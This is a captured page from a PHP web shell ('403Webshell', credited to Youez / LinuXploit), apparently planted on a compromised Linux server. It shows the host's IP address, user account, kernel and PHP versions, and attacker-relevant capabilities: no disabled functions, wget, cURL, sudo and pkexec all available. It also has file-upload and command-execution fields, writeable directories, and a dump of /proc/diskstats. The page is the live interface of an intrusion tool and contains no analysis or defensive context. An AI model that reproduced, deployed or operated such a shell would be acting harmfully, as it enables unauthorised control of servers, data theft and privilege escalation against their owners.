403Webshell
Server IP : 195.114.193.97  /  Your IP : 216.73.217.150
Web Server : LiteSpeed
System : Linux host 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
User : joker4274 ( 1074)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 20196 0 289710 5416 0 0 0 0 0 57964 5416 0 0 0 0 0 0
   7       1 loop1 34331 0 597640 8358 0 0 0 0 0 92640 8358 0 0 0 0 0 0
   7       2 loop2 1740 0 19652 596 0 0 0 0 0 3700 596 0 0 0 0 0 0
   7       3 loop3 25195 0 383084 7386 0 0 0 0 0 70652 7386 0 0 0 0 0 0
   7       4 loop4 48046 0 670960 15036 0 0 0 0 0 125744 15036 0 0 0 0 0 0
   7       5 loop5 4955 0 332850 992 0 0 0 0 0 17928 992 0 0 0 0 0 0
   7       6 loop6 11002 0 758612 3317 0 0 0 0 0 42284 3317 0 0 0 0 0 0
   7       7 loop7 1859 0 152594 391 0 0 0 0 0 6396 391 0 0 0 0 0 0
  11       0 sr0 98 0 704 28 0 0 0 0 0 56 28 0 0 0 0 0 0
   8       0 sda 143001948 51240918 4112945898 90097749 36633089 44723478 829095962 66918582 0 144936024 160543733 2149918 2 295403146 1489960 2094149 2037440
   8       1 sda1 143001225 51237924 4112911856 90097574 36633087 44723478 829095960 66918582 0 144935884 158506108 2149914 0 295000488 1489952 0 0
   8      14 sda14 199 0 1840 33 0 0 0 0 0 88 33 0 0 0 0 0 0
   8      15 sda15 223 2994 20242 76 2 0 2 0 0 132 84 4 2 402658 8 0 0
   7       8 loop8 331324 0 2822986 1299034 3416276 0 33728728 3531136 0 5104624 6935001 1356 0 5592280 157 257723 2104673
   7       9 loop9 29693 0 2707538 23543 0 0 0 0 0 134592 23543 0 0 0 0 0 0
   7      10 loop10 11 0 28 0 0 0 0 0 0 8 0 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit